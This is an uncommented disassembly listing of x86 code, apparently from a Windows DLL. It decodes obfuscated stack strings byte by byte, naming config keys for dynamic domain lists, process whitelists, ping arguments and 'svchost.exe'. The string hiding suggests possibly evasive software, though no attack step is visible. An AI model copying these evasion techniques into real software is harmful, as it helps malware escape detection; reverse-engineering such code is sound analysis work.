push 0x6f
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6ef], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6ee], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6ed], al
call fcn.10048a10
push 4
push 0x69
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6ec], al
call fcn.10048a10
push 5
push 0x6e
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6eb], al
call fcn.10048a10
push 6
push 0x44
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6ea], al
call fcn.10048a10
push 7
push 0x79
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e9], al
call fcn.10048a10
push 8
push 0x6e
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e8], al
call fcn.10048a10
push 9
push 0x61
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e7], al
call fcn.10048a10
push 0xa
push 0x6d
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e6], al
call fcn.10048a10
push 0xb
push 0x69
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e5], al
call fcn.10048a10
push 0xc
push 0x63
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e4], al
call fcn.10048a10
push 0xd
push 0x4c
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e3], al
call fcn.10048a10
push 0xe
push 0x69
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e2], al
call fcn.10048a10
push 0xf
push 0x73
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6e1], al
call fcn.10048a10
mov byte [ebp - 0x6e0], al
push 0x10
push 0x74
lea ecx, [ebp - 0x6f0]
call fcn.10048a10
mov byte [ebp - 0x6df], al
mov byte [ebp - 0x6de], 0
mov byte [ebp - 4], 0x65
xor esi, esi
push esi
lea ecx, [ebp - 0x6ef]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x6f0]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x6dd]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x11
jb 0x10041740
push 0x11
lea ecx, [ebp - 0x6dd]
call fcn.1000d870
lea ecx, [ebp - 0x6dd]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1130], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1130]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.10048fe0
lea ecx, [ebp - 0x6ef]
mov byte [ebp - 0x1049], al
mov byte [ebp - 4], 0x53
call fcn.1000d860
cmp byte [ebp - 0x1049], 0
xorps xmm0, xmm0
movups xmmword [eax], xmm0
mov word [eax + 0x10], 0
jne 0x10041de2
push 0
push 0x64
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x718], 0x33
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x717], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x716], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x715], al
call fcn.10048a10
push 4
push 0x69
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x714], al
call fcn.10048a10
push 5
push 0x6e
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x713], al
call fcn.10048a10
push 6
push 0x44
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x712], al
call fcn.10048a10
push 7
push 0x79
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x711], al
call fcn.10048a10
push 8
push 0x6e
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x710], al
call fcn.10048a10
push 9
push 0x61
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x70f], al
call fcn.10048a10
push 0xa
push 0x6d
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x70e], al
call fcn.10048a10
push 0xb
push 0x69
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x70d], al
call fcn.10048a10
push 0xc
push 0x63
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x70c], al
call fcn.10048a10
push 0xd
push 0x4c
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x70b], al
call fcn.10048a10
push 0xe
push 0x69
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x70a], al
call fcn.10048a10
push 0xf
push 0x73
lea ecx, [ebp - 0x718]
mov byte [ebp - 0x709], al
call fcn.10048a10
mov byte [ebp - 0x708], al
push 0x10
push 0x74
lea ecx, [ebp - 0x718]
call fcn.10048a10
mov byte [ebp - 0x707], al
mov byte [ebp - 0x706], 0
mov byte [ebp - 4], 0x66
xor esi, esi
nop dword [eax]
push esi
lea ecx, [ebp - 0x717]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x718]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x705]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x11
jb 0x10041960
push 0x11
lea ecx, [ebp - 0x705]
call fcn.1000d870
lea ecx, [ebp - 0x705]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1134], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1134]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x717]
mov byte [ebp - 4], 0x53
mov esi, eax
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
mov word [eax + 0x10], 0
lea eax, [ebp - 0x12c4]
push eax
call fcn.1005b1a0
lea eax, [ebp - 0x1344]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x1344]
push eax
lea ecx, [ebp - 0x12c4]
call fcn.1005b430
test al, al
je 0x10041de2
mov edi, dword [ebp - 0x1054]
nop dword [eax + eax]
lea ecx, [ebp - 0x12c4]
call fcn.1005aab0
push 0
push 0x64
lea ecx, [ebp - 0x65c]
mov dword [ebp - 0x1058], eax
mov byte [ebp - 0x65c], 0x37
call fcn.10048a10
push 1
push 0x79
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x65b], al
call fcn.10048a10
push 2
push 0x6e
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x65a], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x659], al
call fcn.10048a10
push 4
push 0x6d
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x658], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x657], al
call fcn.10048a10
push 6
push 0x63
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x656], al
call fcn.10048a10
push 7
push 0x44
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x655], al
call fcn.10048a10
push 8
push 0x6f
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x654], al
call fcn.10048a10
push 9
push 0x6d
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x653], al
call fcn.10048a10
push 0xa
push 0x61
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x652], al
call fcn.10048a10
push 0xb
push 0x69
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x651], al
call fcn.10048a10
push 0xc
push 0x6e
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x650], al
call fcn.10048a10
push 0xd
push 0x56
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x64f], al
call fcn.10048a10
push 0xe
push 0x61
lea ecx, [ebp - 0x65c]
mov byte [ebp - 0x64e], al
call fcn.10048a10
push 0xf
mov byte [ebp - 0x64d], al
push 0x6c
lea ecx, [ebp - 0x65c]
call fcn.10048a10
mov byte [ebp - 0x64c], al
mov byte [ebp - 0x64b], 0
mov byte [ebp - 4], 0x67
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x65b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x65c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x64a]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x10
jb 0x10041bb0
push 0x10
lea ecx, [ebp - 0x64a]
call fcn.1000d870
lea ecx, [ebp - 0x64a]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1058]
mov dword [ebp - 0x1138], eax
lea eax, [ebp - 0x1138]
push eax
call fcn.1004af90
lea ecx, [ebp - 0xb20]
push ecx
mov ecx, eax
call fcn.1005b770
lea ecx, [ebp - 0x65b]
mov byte [ebp - 4], 0x69
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x2d0]
push 0
push 0x70
movups xmmword [eax], xmm0
mov byte [eax + 0x10], 0
mov byte [ebp - 0x2d0], 0x3a
call fcn.10048a10
push 1
push 0x69
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2cf], al
call fcn.10048a10
push 2
push 0x6e
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2ce], al
call fcn.10048a10
push 3
push 0x67
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2cd], al
call fcn.10048a10
push 4
push 0x41
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2cc], al
call fcn.10048a10
push 5
push 0x72
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2cb], al
call fcn.10048a10
push 6
push 0x67
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2ca], al
call fcn.10048a10
push 7
push 0x73
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2c9], al
call fcn.10048a10
mov byte [ebp - 0x2c8], al
mov byte [ebp - 0x2c7], 0
mov byte [ebp - 4], 0x6a
xor esi, esi
push esi
lea ecx, [ebp - 0x2cf]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x2d0]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x2c6]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 8
jb 0x10041d02
push 8
lea ecx, [ebp - 0x2c6]
call fcn.1000d870
lea ecx, [ebp - 0x2c6]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1058]
mov dword [ebp - 0x1184], eax
lea eax, [ebp - 0x1184]
push eax
call fcn.1004af90
mov ecx, eax
call fcn.1004abc0
lea ecx, [ebp - 0x2cf]
mov byte [ebp - 4], 0x69
mov esi, eax
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0xb20]
push esi
movq qword [eax], xmm0
mov byte [eax + 8], 0
call fcn.10008f50
push eax
mov ecx, edi
call fcn.10025d20
lea ecx, [ebp - 0xb20]
mov byte [ebp - 4], 0x53
call fcn.10003210
lea ecx, [ebp - 0x12c4]
call fcn.1005af70
lea eax, [ebp - 0x1344]
push eax
lea ecx, [ebp - 0x12c4]
call fcn.1005b430
test al, al
jne 0x10041a30
mov edi, dword [ebp - 0x1050]
push 0
push 0x67
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3b4], 0xc
call fcn.10048a10
push 1
push 0x61
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3b3], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3b2], al
call fcn.10048a10
push 3
push 0x65
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3b1], al
call fcn.10048a10
push 4
push 0x44
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3b0], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3af], al
call fcn.10048a10
push 6
push 0x79
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3ae], al
call fcn.10048a10
push 7
push 0x52
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3ad], al
call fcn.10048a10
push 8
push 0x75
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3ac], al
call fcn.10048a10
push 9
push 0x6c
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3ab], al
call fcn.10048a10
push 0xa
push 0x65
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 0x3aa], al
call fcn.10048a10
mov byte [ebp - 0x3a9], al
mov byte [ebp - 0x3a8], 0
mov byte [ebp - 4], 0x6b
xor esi, esi
nop dword [eax]
push esi
lea ecx, [ebp - 0x3b3]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x3b4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x3a7]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xb
jb 0x10041ee0
push 0xb
lea ecx, [ebp - 0x3a7]
call fcn.1000d870
lea ecx, [ebp - 0x3a7]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1180], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1180]
push eax
call fcn.1004b080
push eax
lea ecx, [ebp - 0x10a0]
call fcn.1005a930
lea ecx, [ebp - 0x3b3]
mov byte [ebp - 4], 0x6d
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x3ec]
push 0
push 0x73
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov byte [ebp - 0x3ec], 7
call fcn.10048a10
push 1
push 0x76
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3eb], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3ea], al
call fcn.10048a10
push 3
push 0x68
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3e9], al
call fcn.10048a10
push 4
push 0x6f
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3e8], al
call fcn.10048a10
push 5
push 0x73
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3e7], al
call fcn.10048a10
push 6
push 0x74
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3e6], al
call fcn.10048a10
push 7
push 0x2e
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3e5], al
call fcn.10048a10
push 8
push 0x65
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3e4], al
call fcn.10048a10
push 9
push 0x78
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3e3], al
call fcn.10048a10
push 0xa
push 0x65
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x3e2], al
call fcn.10048a10
mov byte [ebp - 0x3e1], al
mov byte [ebp - 0x3e0], 0
mov byte [ebp - 4], 0x6e
xor esi, esi
push esi
lea ecx, [ebp - 0x3eb]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x3df]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xb
jb 0x10042073
push 0xb
lea ecx, [ebp - 0x3df]
call fcn.1000d870
lea ecx, [ebp - 0x3df]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1060]
push eax
call fcn.100306a0
lea ecx, [ebp - 0x3eb]
mov byte [ebp - 4], 0x6d
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x53c]
push 0
push 0x6d
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov byte [ebp - 0x53c], 0x63
call fcn.10048a10
push 1
push 0x61
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x53b], al
call fcn.10048a10
push 2
push 0x69
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x53a], al
call fcn.10048a10
push 3
push 0x6e
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x539], al
call fcn.10048a10
push 4
push 0x50
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x538], al
call fcn.10048a10
push 5
push 0x72
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x537], al
call fcn.10048a10
push 6
push 0x6f
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x536], al
call fcn.10048a10
push 7
push 0x63
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x535], al
call fcn.10048a10
push 8
push 0x65
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x534], al
call fcn.10048a10
push 9
push 0x73
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x533], al
call fcn.10048a10
push 0xa
push 0x73
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x532], al
call fcn.10048a10
push 0xb
push 0x4c
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x531], al
call fcn.10048a10
push 0xc
push 0x69
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x530], al
call fcn.10048a10
mov byte [ebp - 0x52f], al
push 0xd
push 0x73
lea ecx, [ebp - 0x53c]
call fcn.10048a10
push 0xe
push 0x74
lea ecx, [ebp - 0x53c]
mov byte [ebp - 0x52e], al
call fcn.10048a10
mov byte [ebp - 0x52d], al
mov byte [ebp - 0x52c], 0
mov byte [ebp - 4], 0x6f
xor esi, esi
push esi
lea ecx, [ebp - 0x53b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x53c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x52b]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xf
jb 0x10042242
push 0xf
lea ecx, [ebp - 0x52b]
call fcn.1000d870
lea ecx, [ebp - 0x52b]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x117c], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x117c]
push eax
call fcn.1004b080
push 0
push 0x70
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x1058], eax
mov byte [ebp - 0x20c], 0xb
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x20c]
mov byte [ebp - 0x20b], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x20c]
mov byte [ebp - 0x20a], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x20c]
mov byte [ebp - 0x209], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x20c]
mov byte [ebp - 0x208], al
call fcn.10048a10
push 5
push 0x73
lea ecx, [ebp - 0x20c]
mov byte [ebp - 0x207], al
call fcn.10048a10
push 6
push 0x73
lea ecx, [ebp - 0x20c]
mov byte [ebp - 0x206], al
call fcn.10048a10
mov byte [ebp - 0x205], al
mov byte [ebp - 0x204], 0
mov byte [ebp - 4], 0x70
xor esi, esi
nop
push esi
lea ecx, [ebp - 0x20b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x20c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x203]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x10042360
push 7
lea ecx, [ebp - 0x203]
call fcn.1000d870
lea ecx, [ebp - 0x203]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1058]
mov dword [ebp - 0x1178], eax
lea eax, [ebp - 0x1178]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x20b]
mov esi, eax
call fcn.1000d860
xorps xmm0, xmm0
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x53b]
movq qword [eax], xmm0
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
lea eax, [ebp - 0x12e4]
push eax
call fcn.1005b1a0
lea eax, [ebp - 0x1354]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x1354]
push eax
lea ecx, [ebp - 0x12e4]
call fcn.1005b430
test al, al
je 0x10042496
mov edi, dword [ebp - 0x1060]
lea ecx, [ebp - 0x12e4]
call fcn.1005aab0
lea ecx, [ebp - 0xb08]
push ecx
mov ecx, eax
call fcn.1005b770
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 0x71
call fcn.10008f50
push eax
mov ecx, edi
call fcn.100306a0
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 0x6d
call fcn.10003210
lea ecx, [ebp - 0x12e4]
call fcn.1005af70
lea eax, [ebp - 0x1354]
push eax
lea ecx, [ebp - 0x12e4]
call fcn.1005b430
test al, al
jne 0x10042430
mov edi, dword [ebp - 0x1050]
mov esi, dword [ebp - 0x105c]
lea ecx, [esi + 0x110]
call fcn.1005d560
test al, al
je 0x100424bb
push 0x3ea
lea ecx, [esi + 0x110]
call fcn.1005d570
push 0
push 0x77
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x638], 0x21
call fcn.10048a10
push 1
push 0x68
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x637], al
call fcn.10048a10
push 2
push 0x69
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x636], al
call fcn.10048a10
push 3
push 0x74
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x635], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x634], al
call fcn.10048a10
push 5
push 0x50
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x633], al
call fcn.10048a10
push 6
push 0x72
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x632], al
call fcn.10048a10
push 7
push 0x6f
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x631], al
call fcn.10048a10
push 8
push 0x63
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x630], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x62f], al
call fcn.10048a10
push 0xa
push 0x73
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x62e], al
call fcn.10048a10
push 0xb
push 0x73
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x62d], al
call fcn.10048a10
push 0xc
push 0x4c
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x62c], al
call fcn.10048a10
push 0xd
push 0x69
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x62b], al
call fcn.10048a10
push 0xe
push 0x73
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x62a], al
call fcn.10048a10
push 0xf
push 0x74
lea ecx, [ebp - 0x638]
mov byte [ebp - 0x629], al
call fcn.10048a10
mov byte [ebp - 0x628], al
mov byte [ebp - 0x627], 0
mov byte [ebp - 4], 0x72
xor esi, esi
nop
push esi
lea ecx, [ebp - 0x637]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x638]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x626]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x10
jb 0x10042620
push 0x10
lea ecx, [ebp - 0x626]
call fcn.1000d870
lea ecx, [ebp - 0x626]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1170], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1170]
push eax
call fcn.1004b080
push 0
push 0x70
lea ecx, [ebp - 0x25c]
mov dword [ebp - 0x1058], eax
mov byte [ebp - 0x25c], 0x39
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x25c]
mov byte [ebp - 0x25b], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x25c]
mov byte [ebp - 0x25a], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x25c]
mov byte [ebp - 0x259], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x25c]
mov byte [ebp - 0x258], al
call fcn.10048a10
push 5
push 0x73
lea ecx, [ebp - 0x25c]
mov byte [ebp - 0x257], al
call fcn.10048a10
push 6
push 0x73
lea ecx, [ebp - 0x25c]
mov byte [ebp - 0x256], al
call fcn.10048a10
mov byte [ebp - 0x255], al
mov byte [ebp - 0x254], 0
mov byte [ebp - 4], 0x73
xor esi, esi
nop dword [eax]
push esi
lea ecx, [ebp - 0x25b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x25c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x253]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x10042740
push 7
lea ecx, [ebp - 0x253]
call fcn.1000d870
lea ecx, [ebp - 0x253]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1058]
mov dword [ebp - 0x116c], eax
lea eax, [ebp - 0x116c]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x25b]
mov esi, eax
call fcn.1000d860
xorps xmm0, xmm0
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x637]
movq qword [eax], xmm0
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
mov byte [eax + 0x10], 0
lea eax, [ebp - 0x12f4]
push eax
call fcn.1005b1a0
lea eax, [ebp - 0x1364]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x1364]
push eax
lea ecx, [ebp - 0x12f4]
call fcn.1005b430
test al, al
je 0x1004287a
mov edi, dword [ebp - 0x1060]
lea ecx, [ebp - 0x12f4]
call fcn.1005aab0
lea ecx, [ebp - 0xaf0]
push ecx
mov ecx, eax
call fcn.1005b770
lea ecx, [ebp - 0xaf0]
mov byte [ebp - 4], 0x74
call fcn.10008f50
push eax
mov ecx, edi
call fcn.100306c0
lea ecx, [ebp - 0xaf0]
mov byte [ebp - 4], 0x6d
call fcn.10003210
lea ecx, [ebp - 0x12f4]
call fcn.1005af70
lea eax, [ebp - 0x1364]
push eax
lea ecx, [ebp - 0x12f4]
call fcn.1005b430
test al, al
jne 0x10042814
mov edi, dword [ebp - 0x1050]
mov esi, dword [ebp - 0x105c]
lea ecx, [esi + 0x110]
call fcn.1005d560
test al, al
je 0x1004289f
push 0x3eb
lea ecx, [esi + 0x110]
call fcn.1005d570
push 0
push 0x77
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x614], 0x71
call fcn.10048a10
push 1
push 0x68
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x613], al
call fcn.10048a10
push 2
push 0x69
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x612], al
call fcn.10048a10
push 3
push 0x74
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x611], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x610], al
call fcn.10048a10
push 5
push 0x50
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x60f], al
call fcn.10048a10
push 6
push 0x72
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x60e], al
call fcn.10048a10
push 7
push 0x6f
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x60d], al
call fcn.10048a10
push 8
push 0x63
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x60c], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x60b], al
call fcn.10048a10
push 0xa
push 0x73
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x60a], al
call fcn.10048a10
push 0xb
push 0x73
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x609], al
call fcn.10048a10
push 0xc
push 0x4c
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x608], al
call fcn.10048a10
push 0xd
push 0x69
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x607], al
call fcn.10048a10
push 0xe
push 0x73
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x606], al
call fcn.10048a10
push 0xf
push 0x74
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x605], al
call fcn.10048a10
mov byte [ebp - 0x604], al
mov byte [ebp - 0x603], 0
mov byte [ebp - 4], 0x75
xor esi, esi
push esi
lea ecx, [ebp - 0x613]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x614]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x602]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x10
jb 0x10042a03
push 0x10
lea ecx, [ebp - 0x602]
call fcn.1000d870
lea ecx, [ebp - 0x602]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1168], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1168]
push eax
call fcn.1004b080
push 0
push 0x64
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x1058], eax
mov byte [ebp - 0x18c], 0x56
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x18c]
mov byte [ebp - 0x18b], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x18c]
mov byte [ebp - 0x18a], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x18c]
mov byte [ebp - 0x189], al
call fcn.10048a10
push 4
push 0x69
lea ecx, [ebp - 0x18c]
mov byte [ebp - 0x188], al
call fcn.10048a10
push 5
push 0x6e
lea ecx, [ebp - 0x18c]
mov byte [ebp - 0x187], al
call fcn.10048a10
